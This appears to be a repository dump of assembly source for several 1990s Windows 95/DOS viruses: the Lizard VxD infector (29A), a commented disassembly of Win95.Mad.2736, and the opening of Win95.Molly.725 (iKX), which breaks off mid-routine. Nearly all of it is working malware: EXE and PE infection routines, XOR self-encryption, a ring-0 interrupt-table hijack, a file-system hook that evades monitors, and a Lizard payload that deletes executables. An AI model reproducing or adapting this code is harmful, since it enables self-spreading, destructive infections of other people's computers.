jc ecsit ;skip it
rd:
xchg ax,bx
mov ah,3fh ;store the header of the vxd
mov cx,vxdhsize
lea edx,vxdheader
vxdint 21h
mov ax,4201h ;jmp over zeros
xor cx,cx
mov dx,3400
vxdint 21h
mov ah,3fh ;store the vxddata
mov cx,vxddsize
lea edx,vxddata
vxdint 21h
mov ax,4201h ;jmp over realmodecode and zeros
xor cx,cx
mov dx,2037
vxdint 21h
mov ah,3fh ;store the vxdcode
mov cx,vxdcsize
lea edx,vxdcode
vxdint 21h
mov ah,3eh ;close...
vxdint 21h
mov dflag,1 ;set flag
;-----------------------------------------------------------------------------
done:
mov ah,1ah ;set dta
lea edx,ndta
vxdint 21h
ffirst:
mov ah,4eh ;search for first exe
jmp short w
fnext:
mov ah,4fh ;find next exe
w:
mov cx,7
lea edx,wcard ;*.e?e
vxdint 21h
jc ecsit
mov ax,4301h ;set normal attribute
mov cx,20h
lea edx,[ndta + 30]
vxdint 21h
cmp pflag,1 ;sux0ring microsuckers
jne pheeew ;(the payload in v1.0 was a bit too destructive ;)
evil:
;evil payload against the imperialism of microsoft!
mov ah,41h ;yhcrana
lea edx,[ndta + 30]
vxdint 21h
jmp ecsit
pheeew:
mov ax,3d02h ;open the victim
lea edx,[ndta + 30]
vxdint 21h
jc fnext
xchg ax,bx
mov ah,3fh ;read header
mov cx,26
lea edx,header
vxdint 21h
cmp word ptr [header],'ZM' ;exe?
jne cfile
cmp word ptr [header + 0ch],0ffffh ;allocate all mem?
jne cfile
cmp word ptr [header + 18h],40h ;win exe?
je cfile
mov al,[header + 12h] ;infected?
or al,al
jne cfile
;save ss:sp
mov ax,word ptr [header + 0eh]
mov sseg,ax
mov ax,word ptr [header + 10h]
mov ssp,ax
;save cs:ip
mov eax,dword ptr [header + 14h]
mov csip,eax
mov ax,4202h ;eof
xor cx,cx
cwd
vxdint 21h
;calc new cs:ip
mov cx,16
div cx
sub ax,word ptr [header + 8]
mov word ptr [header + 14h],dx
mov word ptr [header + 16h],ax
add edx,vend ;calc stack
mov word ptr [header + 0eh],ax
mov word ptr [header + 10h],dx
;xor encryption
rdnm:
in al,40h
or al,al
je rdnm
mov [encval],al ;save random value
mov edi,offset32 encstart
mov cx,esize
xl:
xor [edi],al
inc edi
loop xl
;write virus
mov ah,40h
mov cx,vsize
mov edx,offset32 start
vxdint 21h
;undo
mov al,[encval]
mov edi,offset32 encstart
mov cx,esize
xll:
xor [edi],al
inc edi
loop xll
mov ax,4202h ;eof
xor cx,cx
cwd
vxdint 21h
mov cx,512 ;calc pages
div cx
or dx,dx
jz short np
inc ax
np:
mov word ptr [header + 4],ax
mov word ptr [header + 2],dx
mov ax,4200h ;bof
xor cx,cx
cwd
vxdint 21h
rnd:
in al,40h ;set infection flag
or al,al
je rnd
mov [header + 12h],al
mov ah,40h ;write new header
mov cx,26
lea edx,header
vxdint 21h
cfile:
mov cl,byte ptr [ndta + 21] ;restore attribute
lea edx,[ndta + 1eh]
mov ax,4301h
vxdint 21h
mov cx,word ptr [ndta + 22] ;restore time/date
mov dx,word ptr [ndta + 24]
mov ax,5701
vxdint 21h
mov ah,3eh ;close file
vxdint 21h
jmp fnext
ecsit:
VMMcall End_Nest_Exec
Pop_Client_State
prevhook:
stc
ret
EndProc int21h
;-----------------------------------------------------------------------------
BeginProc LZD_Control
Control_Dispatch Init_Complete,LZD_Device_Init
clc
ret
EndProc LZD_Control
wb db 13,10,'Lizard by Reptile/29A',0
VxD_Locked_Code_Ends
End ;this is the end my only friend the end...
;---[RMLZD.ASM]---------------------------------------------------------------
;Lizard's real mode portion
.286
vxdhsize equ 701
vxddsize equ 81
vxdcsize equ 880
esize equ encend - encstart
rmsize equ rmend - rmstart
.model tiny
.code
org 100h
start:
rmstart:
;get delta
;-----------------------------------------------------------------------------
call $ + 3
drazil:
pop si
sub si,offset drazil
push si
pop bp
;-----------------------------------------------------------------------------
push ds ;coz psp
push cs
pop ds
;decrypt it
db 176 ;mov al
encval db 0
;-----------------------------------------------------------------------------
lea di,[bp + offset encstart]
mov cx,esize
xd:
jmp fj
fj2:
inc di
loop xd
jmp encstart
fj:
xor [di],al
jmp fj2
;-----------------------------------------------------------------------------
encstart:
mov ax,3d00h ;try to open lzd.vxd in
lea dx,[bp + offset dropname1] ;c:\windows\system\iosubsys
int 21h
jnc cfile ;exit if already installed
mov ah,3ch ;install lzd.vxd
xor cx,cx
int 21h
jnc inst
mov ax,3d00h ;try to open lzd.vxd in
lea dx,[bp + offset dropname2] ;c:\win95\system\iosubsys
int 21h
jnc cfile
mov ah,3ch
xor cx,cx
int 21h
jnc inst
mov ax,3d00h ;try to open lzd.vxd in
lea dx,[bp + offset dropname3] ;c:\windows.000\system\iosubsys
int 21h
jnc cfile
mov ah,3ch
xor cx,cx
int 21h
jc exit
inst:
xchg ax,bx
mov ah,40h ;write the header
mov cx,vxdhsize
lea dx,[bp + offset vxdheader]
int 21h
;write some zeros
mov cx,3400
lzero:
push cx
mov ah,40h
mov cx,1
lea dx,[bp + zero]
int 21h
pop cx
loop lzero
mov ah,40h ;write the data
mov cx,vxddsize
lea dx,[bp + offset vxddata]
int 21h
mov ah,40h ;write the rmcode
mov cx,rmsize
lea dx,[bp + offset rmstart]
int 21h
;write some more zeros
mov cx,1732
lzero2:
push cx
mov ah,40h
mov cx,1
lea dx,[bp + zero]
int 21h
pop cx
loop lzero2
mov ah,40h ;write the code
mov cx,vxdcsize
lea dx,[bp + offset vxdcode]
int 21h
cfile:
mov ah,3eh
int 21h
;exe return
exit:
pop ax ;psp
add ax,11h
dec ax
add word ptr [bp + offset csip + 2],ax
;stack
db 5 ;add ax
sseg dw 0fff0h ;test
mov ss,ax
db 0bch ;mov sp
ssp dw 0fffeh
db 0eah
csip dd 0fff00000h
zero db 0
dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0
dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0
dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0
rmend:
vxdheader db vxdhsize dup (?)
vxddata db vxddsize dup (?)
vxdcode db vxdcsize dup (?)
encend:
ends
end start
;---[RMLZD.INC]---------------------------------------------------------------
;Modified db listing of rmlzd.com
start:
db 0E8h, 000h, 000h, 05Eh, 081h, 0EEh, 003h, 001h
db 056h, 05Dh, 01Eh, 00Eh, 01Fh, 0B0h
;db 000h
encval db 0
db 08Dh
db 0BEh, 021h, 001h, 0B9h, 08Eh, 007h, 0EBh, 005h
db 047h, 0E2h, 0FBh, 0EBh, 004h, 030h, 005h, 0EBh
db 0F7h
encstart:
db 0B8h, 000h, 03Dh, 08Dh, 096h, 0C6h, 001h
db 0CDh, 021h, 073h, 07Fh, 0B4h, 03Ch, 033h, 0C9h
db 0CDh, 021h, 073h, 026h, 0B8h, 000h, 03Dh, 08Dh
db 096h, 0E9h, 001h, 0CDh, 021h, 073h, 06Ch, 0B4h
db 03Ch, 033h, 0C9h, 0CDh, 021h, 073h, 013h, 0B8h
db 000h, 03Dh, 08Dh, 096h, 00Ah, 002h, 0CDh, 021h
db 073h, 059h, 0B4h, 03Ch, 033h, 0C9h, 0CDh, 021h
db 072h, 055h, 093h, 0B4h, 040h, 0B9h, 0BDh, 002h
db 08Dh, 096h, 031h, 002h, 0CDh, 021h, 0B9h, 048h
db 00Dh, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh
db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h
db 0B4h, 040h, 0B9h, 051h, 000h, 08Dh, 096h, 0EEh
db 004h, 0CDh, 021h, 0B4h, 040h, 0B9h, 031h, 001h
db 08Dh, 096h, 000h, 001h, 0CDh, 021h, 0B9h, 0C4h
db 006h, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh
db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h
db 0B4h, 040h, 0B9h, 070h, 003h, 08Dh, 096h, 03Fh
db 005h, 0CDh, 021h, 0B4h, 03Eh, 0CDh, 021h, 058h
db 005h, 011h, 000h, 048h, 001h, 086h, 0C3h, 001h
db
;db 0F0h, 0FFh
sseg dw 0fff0h ;not necessary
db 08Eh, 0D0h, 0BCh
;db 0FEh, 0FFh
ssp dw 0fffeh
db
;db 000h, 000h, 0F0h, 0FFh
csip dd 0fff00000h
db 000h
;db 063h, 03Ah
;db
;db
;db
;db
;db
;db
;db
;db 073h, 05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h
;db 064h, 000h, 063h, 03Ah, 05Ch, 077h, 069h, 06Eh
;db 064h, 06Fh, 077h, 073h, 02Eh, 030h, 030h, 030h
;db 05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh, 05Ch
;db
;db
;db
dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0
dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0
dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0
vxdheader db vxdhsize dup (?)
vxddata db vxddsize dup (?)
vxdcode db vxdcsize dup (?)
encend:
vend:
;---[LZD.DEF]-----------------------------------------------------------------
VXD LZD DYNAMIC
DESCRIPTION ''
SEGMENTS
_LPTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
_LTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
_LDATA CLASS 'LCODE' PRELOAD NONDISCARDABLE
_TEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
_DATA CLASS 'LCODE' PRELOAD NONDISCARDABLE
CONST CLASS 'LCODE' PRELOAD NONDISCARDABLE
_TLS CLASS 'LCODE' PRELOAD NONDISCARDABLE
_BSS CLASS 'LCODE' PRELOAD NONDISCARDABLE
_ITEXT CLASS 'ICODE' DISCARDABLE
_IDATA CLASS 'ICODE' DISCARDABLE
_PTEXT CLASS 'PCODE' NONDISCARDABLE
_PDATA CLASS 'PDATA' NONDISCARDABLE SHARED
_STEXT CLASS 'SCODE' RESIDENT
_SDATA CLASS 'SCODE' RESIDENT
_DBOSTART CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
_DBOCODE CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
_DBODATA CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
_16ICODE CLASS '16ICODE' PRELOAD DISCARDABLE
_RCODE CLASS 'RCODE'
EXPORTS
LZD_DDB @1
;---[MAKEFILE]----------------------------------------------------------------
NAME = lzd
LINK = LINK
ASM = ml
AFLAGS = -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 -DDEBLEVEL=0
ASMENV = ML
LFLAGS = /VXD /NOD
.asm.obj:
set $(ASMENV)=$(AFLAGS)
$(ASM) -Fo$*.obj $<
all : $(NAME).VXD
OBJS = lzd.obj
lzd.obj: lzd.asm
$(NAME).VxD: $(NAME).def $(OBJS)
link @<<$(NAME).lnk
$(LFLAGS)
/OUT:$(NAME).VxD
/MAP:$(NAME).map
/DEF:$(NAME).def
$(OBJS)
<<
@del *.exp>nul
@del *.lib>nul
@del *.map>nul
@del *.obj>nul
;...
+525
View File
@@ -0,0 +1,525 @@
;Win95.Mad.2736 disassembly
;(c) Vecna/29A
;Here is the disassembly of one of the first Win95 virus, that implemented
;several original features. It was the first encripted win95 virus, and
;the second one to not add a new section to the host (the first according
;to AVPVE) the first was actually Win32.Jacky. When executed,
;it search the kernel32 in memory for GetProcAddress and GetModuleHandleA,
;and call they everytime that need get a function, instead of searching
;once and storing the API address. Anyway, the API search dont seens reliable
;enought, and i cant make it replicate in my machine.
;A special thank goes this time for VirusBuster, my virus provider, that
;always have nice virii for me... :-)
;Tasm /m w95mad.asm
.386p
.model flat
.data
dd ?
.code
start:
call delta
delta:
pop edi
mov eax, edi
old_RVA:
sub eax, 2005h ;setup host entry point
sub edi, offset delta
mov ds:HostEntry[edi], eax
mov ds:SaveEBP[edi], ebp
mov ebp, edi
xor eax, eax
mov edi, offset start_encript
add edi, ebp
mov ecx, 0A6Bh
mov al, ss:Key[ebp]
decript_loop:
xor [edi], al
inc edi
loop decript_loop
jmp short start_encript
HostEntry dd 0
SaveEBP dd 0
Key db 0
start_encript:
mov ss:TotalInf[ebp], 0
mov eax, 4550h
mov edi, 0BFF70000h
mov ecx, 1000h
cld
search_kernel:
repne scasw
jnz return_host
add ss:Seed[ebp], edi
dec edi
dec edi
cmp word ptr [edi+4], 14Ch
jnz short search_kernel
cmp word ptr [edi+14h], 0
jz short search_kernel
mov bx, [edi+16h]
and bx, 0F000h
cmp bx, 2000h ;is a DLL?
jnz short search_kernel
cmp dword ptr [edi+34h], 0BFF70000h
jl short search_kernel
mov eax, [edi+34h]
mov ss:KernelBase[ebp], eax
xor eax, eax
mov ax, [edi+14h]
add eax, edi
add eax, 18h
mov cx, [edi+6] ;number of sections
search_edata:
cmp dword ptr [eax], 'ADE.'
jnz short no_edata
cmp dword ptr [eax+4], 'AT' ;search all sectionz for the
jz short found_export ;export section
no_edata:
add eax, 28h
dec cx
or cx, cx
jnz short search_edata
jmp return_host
found_export:
mov ebx, [eax+0Ch]
add ebx, ss:KernelBase[ebp]
mov edi, [ebx+20h]
add edi, ss:KernelBase[ebp]
mov ecx, [ebx+14h]
sub ecx, [ebx+18h]
mov eax, 4
mul ecx
mov ss:pAPIRVA[ebp], eax
mov ecx, [ebx+18h]
mov eax, 4
mul ecx
xchg eax, ecx
xchg edi, edx
search_APIs:
sub ecx, 4
mov edi, edx
add edi, ecx
mov edi, [edi]
add edi, ss:KernelBase[ebp]
lea esi, szGetProcAddres[ebp]
lea eax, pGetProcAddress[ebp]
call extract_addr
lea eax, pGetModuleHdle[ebp]
lea esi, szGetModuleHdle[ebp]
call extract_addr
cmp ecx, 0
jnz short search_APIs
cmp ss:pGetProcAddress[ebp], 0
jz return_host
cmp ss:pGetModuleHdle[ebp], 0
jz return_host
lea eax, _Kernel32[ebp]
push eax
mov eax, ss:pGetModuleHdle[ebp]
call eax
mov ss:KernelHandle[ebp], eax
cmp eax, 0
jz return_host
lea eax, _GetDir[ebp]
call get_api_addr
jb _check_payload
lea edx, CurrentDir[ebp]
push edx
push 0FFh ;save current directory
call eax
find_filez:
lea eax, _FFile[ebp]
call get_api_addr
jb no_payload
mov edx, offset FINDATA ;start of find struct
add edx, ebp
push edx
mov edx, offset ExeMask
add edx, ebp
push edx
call eax
mov ss:SearchHandle[ebp], eax
cmp eax, 0FFFFFFFFh
jz change_dir ;error, then go down a dir
infect_next:
mov eax, dword ptr ss:FileName[ebp]
xor ss:Seed[ebp], eax
cmp eax, 186A0h
jnb error_close
cmp ss:Security[ebp], 0 ;maybe a safeguard flag?
jnz error_close ;win95 never set this, so
lea eax, _CreateFile[ebp] ;probably is a safeguard
call get_api_addr ;to no infect own hdd
jb no_payload
push 0
push ss:FINDATA[ebp]
push 3
push 0
push 0
push 0C0000000h
mov edx, offset FileName2
add edx, ebp
push edx
call eax
cmp eax, 0FFFFFFFFh
jz find_next
mov ss:FileHandle[ebp], eax
mov edi, 3Ch
call file_seek
mov edi, offset PEPointer
add edi, ebp
mov ecx, 4
call read_file
jb error_close
mov edi, ss:PEPointer[ebp]
call file_seek
mov edi, offset PEHeader
add edi, ebp
mov ecx, 8D0h
call read_file
cmp ss:PEHeader[ebp], 4550h
jnz error_close
cmp ss:InfectionMark[ebp], 'WDAM' ;MADW - Mad for Win95
jz error_close
xor esi, esi
xor eax, eax
mov ax, ss:NumberSections[ebp]
dec ax
mov ecx, 28h
xor edx, edx
mul ecx
mov si, ax
mov eax, 0BB8h
mov ecx, ss:FileAlign[ebp]
xor edx, edx
div ecx
inc eax
mul ecx
add ss:szRVA[ebp+esi], eax ;virtual size of section
mov eax, 7D0h
mov ecx, ss:ObjAlign[ebp]
xor edx, edx
div ecx
inc eax
mul ecx
mov edx, ss:pRAW[ebp+esi] ;pointer to raw data
mov ecx, edx
add edx, ss:szRAW[ebp+esi] ;size of raw data
push edx
add ss:pRAW[ebp+esi], eax ;pointer to raw data
or ss:ObjAttr[ebp+esi], 0C0000040h ;object attributes
add ecx, ss:RVA[ebp+esi] ;RVA of section
mov edx, ss:EntryRVA[ebp]
mov ss:EntryRVA[ebp], ecx
sub ecx, edx
add ecx, 5
mov dword ptr ss:old_RVA+1[ebp], ecx
mov ss:InfectionMark[ebp], 'WDAM' ;set the mark
mov edi, ss:PEPointer[ebp]
call file_seek
mov edi, offset PEHeader
add edi, ebp
mov ecx, 8D0h
call write_file ;write the modificated
pop edi ;header info
add ss:Seed[ebp], edi
call file_seek
mov eax, ss:Seed[ebp]
neg eax
mov ss:Key[ebp], al
mov esi, offset start
add esi, ebp
mov edi, offset EncriptedBody
add edi, ebp
mov ecx, 0AB0h
cld
repe movsb ;zopy virus to work area
mov edi, offset EncriptedBody
add edi, ebp
add edi, 45h
mov ecx, 0A6Bh
mov al, ss:Key[ebp]
enc_loop:
xor [edi], al ;encript it
inc edi
loop enc_loop
mov edi, offset EncriptedBody
add edi, ebp
mov ecx, 0AB0h
call write_file ;attach virus
error_close:
not ss:Seed[ebp]
lea eax, _CloseFile[ebp]
call get_api_addr
jb short _check_payload
push ss:FileHandle[ebp]
call eax
find_next:
lea eax, _FNFile[ebp]
call get_api_addr
jb short _check_payload
lea edx, FINDATA[ebp]
push edx
push ss:SearchHandle[ebp]
call eax
cmp eax, 0
jnz infect_next
change_dir:
cmp ss:TotalInf[ebp], 3 ;only stop after 3 directorys
jz short _check_payload ;infected
lea eax, _SetDir[ebp]
call get_api_addr
jb short _check_payload
lea edx, DotDot[ebp] ;go down a directory
push edx
call eax
inc ss:TotalInf[ebp]
cmp eax, 1
jz find_filez
_check_payload:
jmp short check_payload
read_file:
push edi
push ecx
lea eax, _ReadFile[ebp]
call get_api_addr
pop ecx
pop edi
cmp eax, 0
jnz short rf_addr_ok
stc
retn
rf_addr_ok:
push 0
lea ebx, NumRead[ebp]
push ebx
push ecx
push edi
push ss:FileHandle[ebp]
call eax
retn
write_file:
push edi
push ecx
lea eax, _WriteFile[ebp]
call get_api_addr
pop ecx
pop edi
cmp eax, 0
jnz short wf_addr_ok
stc
retn
wf_addr_ok:
push 0
lea ebx, NumRead[ebp]
push ebx
push ecx
push edi
push ss:FileHandle[ebp]
call eax
retn
file_seek:
lea eax, _FileSeek[ebp]
call get_api_addr
push 0
push 0
push edi
push ss:FileHandle[ebp]
call eax
retn
check_payload:
lea eax, _GetTime[ebp]
call get_api_addr
jb short no_payload
lea edx, SYSTIME[ebp]
push edx
call eax
cmp ss:cDay[ebp], 1
jnz short no_payload
lea eax, _User32[ebp]
push eax
mov eax, ss:pGetModuleHdle[ebp]
call eax ;get handle for USER32.DLL
mov ss:KernelHandle[ebp], eax
cmp eax, 0
jz short no_payload
lea eax, _MsgBox[ebp]
call get_api_addr
jb short no_payload
push 1030h
mov edx, offset MsgTitle
add edx, ebp
push edx
mov edx, offset MsgText
add edx, ebp
push edx
push 0
call eax ;pop a MessageBox with virus
lea eax, _Kernel32[ebp] ;credits
push eax
mov eax, ss:pGetModuleHdle[ebp]
call eax
mov ss:KernelHandle[ebp], eax
no_payload:
lea eax, _SetDir[ebp]
call get_api_addr
jb short return_host
lea edx, CurrentDir[ebp]
push edx
call eax
return_host:
mov edi, ebp
mov ebp, ds:SaveEBP[edi]
jmp ds:HostEntry[edi]
extract_addr:
pusha
mov ecx, [esi]
add esi, 4
repe cmpsb ;is api we want?
popa
jnz short no_func
xchg eax, esi
mov eax, [ebx+1Ch]
add eax, ss:pAPIRVA[ebp]
add eax, ss:KernelBase[ebp]
add eax, ecx
mov eax, [eax]
add eax, ss:KernelBase[ebp]
mov [esi], eax ;set adress
no_func:
retn
get_api_addr:
push eax
mov eax, ss:KernelHandle[ebp]
push eax
call ss:pGetProcAddress[ebp]
cmp eax, 0
jnz short proc_found
stc ;set carry on error
proc_found:
retn
KernelBase dd 0
pAPIRVA dd 0
pGetProcAddress dd 0
szGetProcAddres dd 0Fh ;size of string to search
db 'GetProcAddress',0
pGetModuleHdle dd 0
szGetModuleHdle dd 11h ;size of string to search
db 'GetModuleHandleA',0
_Kernel32 db 'KERNEL32',0
_User32 db 'USER32',0
_MsgBox db 'MessageBoxA',0 ;this one we get from user32
_FFile db 'FindFirstFileA',0 ;and all these otherz from
_CreateFile db 'CreateFileA',0 ;kernel32
_CloseFile db 'CloseHandle',0
_ReadFile db 'ReadFile',0
_WriteFile db 'WriteFile',0
_FileSeek db 'SetFilePointer',0
_FNFile db 'FindNextFileA',0
_GetTime db 'GetLocalTime',0
_SetDir db 'SetCurrentDirectoryA',0
_GetDir db 'GetCurrentDirectoryA',0
KernelHandle dd 0 ;also used for USER32.DLL
;when using payload
MsgTitle db 'Multiplatform Advanced Destroyer',0
MsgText db 'Hello user your computer is infected by MAD virus',0Dh
db 'Welcome to my first virus for Windoze95...',0Dh
db 'Distribution & Copyright by Black Angel 1997',0
;uhh... a confession... ;-)
ExeMask db '*.eXe',0
db '[MAD for Win95] version 1.0 BETA! (c)Black Angel`97',0
DotDot db '..',0 ;for directory changing
SearchHandle dd 0
FileHandle dd 0
NumRead dd 0
Seed dd 0
SYSTIME equ this byte
cYear dw 0
cMonth dw 0
cDWeek dw 0
cDay dw 0
cHour dw 0
cMin dw 0
cSec dw 0
cMlSec dw 0
FINDATA dd 0 ;File Attribute
dd 0 ;Creation Date
dd 0 ;Last Acess Date
dd 0 ;Last Write Date
dd 0 ;File Size h
dd 0 ;File Size l
dd 0 ;Reserved
Security dd 0
FileName db 0Ch dup(0)
FileName2 db 200h dup(0)
PEPointer dd 0
TotalInf db 0
CurrentDir db 100h dup(0)
PEHeader dd 0 ;from here to end, are all
dw 0 ;bufferz that w95.mad.2736
NumberSections dw 0 ;use for read, encription
db 20h dup(0) ;and like...
EntryRVA dd 0
db 0Ch dup(0)
FileAlign dd 0
ObjAlign dd 0
db 18h dup(0)
InfectionMark dd 0
EncriptedBody db 0A4h dup(0)
szRVA dd 0
RVA dd 0
pRAW dd 0
szRAW dd 0
dd 0
dd 0
dd 0
ObjAttr dd 0
db 608Ch dup(0)
end start
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+540
View File
@@ -0,0 +1,540 @@
; [Win95.Molly.725] - An experimental specimen
; Copyright (c) 1999 by Billy Belcebu/iKX
;
; [ Introduction ]
;
; This is an experimental virus. After Win32.Legacy i needed to do something
; small and functional. And here it is. This is my third Ring-0 virus,but the
; code scheme is different this time from my two other R0's (Garaipena and
; PoshKiller). This virus was written just at the same time while i started
; to read Neuromancer, and as you can see, its name comes from the girl with
; specular lens, that is one of the main characters of the book (hey, don't
; hesitate and read it!).
;
; [ Features ]
;
; + Ring-0 virus by means of modifying the IDT
; + Resident fast infector of PE files with EXE extension
; + Infects when system opens file
; + Overwriting virus (heheh, don't go mad, overwrite relocs) :)
; + AntiMonitor tunneling (through InstallFileSystemApiHook structure)
; + Heavy optimization (at least i've tried to), only 725 bytes
; + My smallest virus so far :)
;
; [ Greetings ]
;
; + Wintermute &
; zAxOn - Thanx for pushing me to read Neuromancer... W0W!
; + Qozah/29A - Thanx for your help and support, dude
; + Benny/29A - I wanna hear that Czech group ;)
; + Super/29A - Why are you always in my greets? :)
; + StarZer0/iKX - sexsexsexsexsexsexsexsexsexsexsexsexsexsexsexsexsex
; + b0z0/iKX - Padania Libera rules!
;
; (c) 1999 Billy Belcebu/iKX
.586p
.model flat,stdcall
extrn MessageBoxA:PROC
extrn ExitProcess:PROC
.data
szTitle db "[Win95.Molly."
db virus_size/0100 mod 10 + "0"
db virus_size/0010 mod 10 + "0"
db virus_size/0001 mod 10 + "0"
db "]",0
szMessage db "First generation host",10
db "(c) 1999 Billy Belcebu/iKX",0
.code
virus:
int 3
jmp molly1
fakehost:
call MessageBoxA,00h,offset szMessage,offset szTitle,1000h
call ExitProcess,00h
; ===========================================================================
; Win95.Molly
; ===========================================================================
molly segment dword use32 public '.molly'
; --- Virus mode
DEBUG equ FALSE
; --- Some equates
d equ <[ebp]-offset delta>
rd equ <[ebp]-offset r0delta>
rd_ equ <[ebx]-offset r0delta>
virus_size equ virus_end-virus_start
heap_size equ heap_end-virus_end
total_size equ virus_size+heap_size
TRUE equ 01h
FALSE equ 00h
PUSHAD_EDI equ 00h
PUSHAD_ESI equ 04h
PUSHAD_EBP equ 08h
PUSHAD_ESP equ 0Ch
PUSHAD_EBX equ 10h
PUSHAD_EDX equ 14h
PUSHAD_ECX equ 18h
PUSHAD_EAX equ 1Ch
PUSHAD_SIZE equ 20h
; --- VxD Functions
VMM_Get_DDB equ 00010146h
IFSMgr_GetHeap equ 0040000Dh
IFSMgr_RetHeap equ 0040000Eh
IFSMgr_Ring0_FileIO equ 00400032h
IFSMgr_InstallFileSystemApiHook equ 00400067h
; --- Hooked Functions
IFSFN_FILEATTRIB equ 21h
IFSFN_OPEN equ 24h
IFSFN_RENAME equ 25h
; --- IFSMgr_Ring0_FileIO functions used
R0_FILEATTRIBUTES equ 04300h
R0_OPENCREATFILE equ 0D500h
R0_CLOSEFILE equ 0D700h
R0_READFILE equ 0D600h
R0_WRITEFILE equ 0D601h
; --- Macro land
dbg macro shit2do
IF DEBUG
shit2do
ENDIF
endm
beep macro
mov ax, 1000
mov bx, 200
mov cx, ax
mov al, 0B6h
out 43h, al
mov dx, 0012h
mov ax, 34DCh
div cx
out 42h, al
mov al, ah
out 42h, al
in al, 61h
mov ah, al
or al, 03h
out 61h, al
l1: mov ecx, 4680d
l2: loop l2
dec bx
jnz l1
mov al, ah
out 61h, al
endm
VxDCall macro VxDService
int 20h
dd VxDService
endm
VxDJmp macro VxDService
int 20h
dd VxDService+8000h
endm
virus_start label byte
; --- Virus entrypoint
molly1: jmp gdelta
; --- Virus data
kernel dd 00000000h
; --- Virus code
gdelta: call delta ; Get a relative offset
delta: pop ebp
push 05h ; ECX = 5
pop ecx ; (limit for 'GetImageBase')
mov esi,ebp ; ESI = Relative offset
call GetImageBase ; Get host's imagebase
mov ModBase d,eax ; Store it
mov ecx,cs ; Avoid installation if we're
xor cl,cl ; in WinNT
jecxz GimmeSomethingBaby
push 05h ; ECX = 5
pop ecx ; (limit for 'GetImageBase')
mov esi,[esp]
call GetImageBase
mov kernel d,eax
push edx
sidt fword ptr [esp-2] ; Interrupt table to stack
pop edx
IF DEBUG
add dl,((5*8)+4)
ELSE
add dl,((3*8)+4)
ENDIF
mov ebx,[edx]
mov bx,word ptr [edx-4]
lea esi,NewInt3 d
mov [edx-4],si
shr esi,16 ; Move MSW to LSW
mov [edx+2],si
IF DEBUG
int 5
ELSE
int 3
ENDIF
mov [edx-4],bx
shr ebx,16
mov [edx+2],bx
GimmeSomethingBaby:
mov ebx,00400000h ; Get at runtime
ModBase equ $-4
add ebx,(fakehost-virus)+00001000h ; Get at infection time
OldEIP equ $-4
jmp ebx
NewInt3:
pushad
dbg
mov eax,kernel d ; EAX = K32 imagebase
add al,38h ; Ptr to an unused field
cmp word ptr [eax],0CA5Eh ; Already installed?
jz already_installed ; If so, exit
mov word ptr [eax],0CA5Eh ; Case is here...
fild real8 ptr [ebp+(@@1-delta)] ; Do u know any other way for
; manipulate more than 4 bytes?
; (without MMX, dork ;)
push total_size
@@1: VxDCall IFSMgr_GetHeap
xchg eax,ecx
pop eax
fistp real8 ptr [ebp+(@@1-delta)]
jecxz already_installed
xchg eax,ecx
mov edi,eax
lea esi,virus_start d
rep movsb
lea edi,[eax+(FileSystemHook-virus_start)]
xchg edi,eax
push eax
@@2: VxDCall IFSMgr_InstallFileSystemApiHook
pop ebx
xchg esi,eax
push esi
add esi,04h
tunnel: lodsd
xchg eax,esi
add esi,08h
js tunnel
mov dword ptr [edi+(top_chain-virus_start)],eax
pop eax
mov dword ptr [edi+(OldFSA-virus_start)],eax
and byte ptr [edi+(semaphore-virus_start)],00h
already_installed:
popad
iret
; --- The new FileSystem hook ;)
FileSystemHook proc c, FSD_Func_Address:DWORD, Function:DWORD, Drive:DWORD,\
ResourceKind:DWORD, StrCodePage:DWORD, PtrIOREQ:DWORD
cmp Function,IFSFN_OPEN ; File Open? Infect if it is
jz infect
ExitFileSystemHook:
mov eax,12345678h
org $-4
OldFSA dd 00000000h
call [eax] c, FSD_Func_Address, Function, Drive, ResourceKind, \
StrCodePage, PtrIOREQ
ret
FileSystemHook endp
r0fio: VxDJmp IFSMgr_Ring0_FileIO
R0_FileIO: VxDJmp IFSMgr_Ring0_FileIO
dw 0000h
pe_header_ptr dd 00000000h
top_chain dd 00000000h
semaphore db 00h
infect:
pushfd
pushad
call r0delta
r0delta:pop ebx
cmp byte ptr [ebx+(semaphore-r0delta)],00h
jnz exit_infect
inc byte ptr [ebx+(semaphore-r0delta)]
lea esi,top_chain rd_ ; Make null top chain, so we
lodsd ; avoid monitors by means of
xor edx,edx ; cutting their balls :)
xchg [eax],edx
pushad
lea edi,filename rd_
push edi
mov esi,PtrIOREQ ; ESI = Ptr to IOREQ struc
mov esi,[esi.2Ch] ; ESI = Ptr to UNI filename
uni2asciiz:
movsb ; Convert to ASCIIz
dec edi
cmpsb
jnz uni2asciiz
pop edx ; EDI = Ptr to ASCIIz filename
cmp dword ptr [edi-05h],"EXE." ; Infect only EXE files
jnz AvoidInfection
IF DEBUG
cmp dword ptr [edi-0Ch],"TAOG"
jnz AvoidInfection
ENDIF
mov esi,edx ; ESI = Ptr to filename
xor eax,eax
mov ah,R0_FILEATTRIBUTES/100h ; EAX = Function
; GETFILEATTRIBUTES
push eax
call R0_FileIO
pop eax
jc AvoidInfection
inc eax ; EAX = Function
; SETFILEATTRIBUTES
push esi
push ecx
push eax
xor ecx,ecx ; ECX = New attributes
call R0_FileIO
jc RestoreAttributes
xor eax,eax
cdq
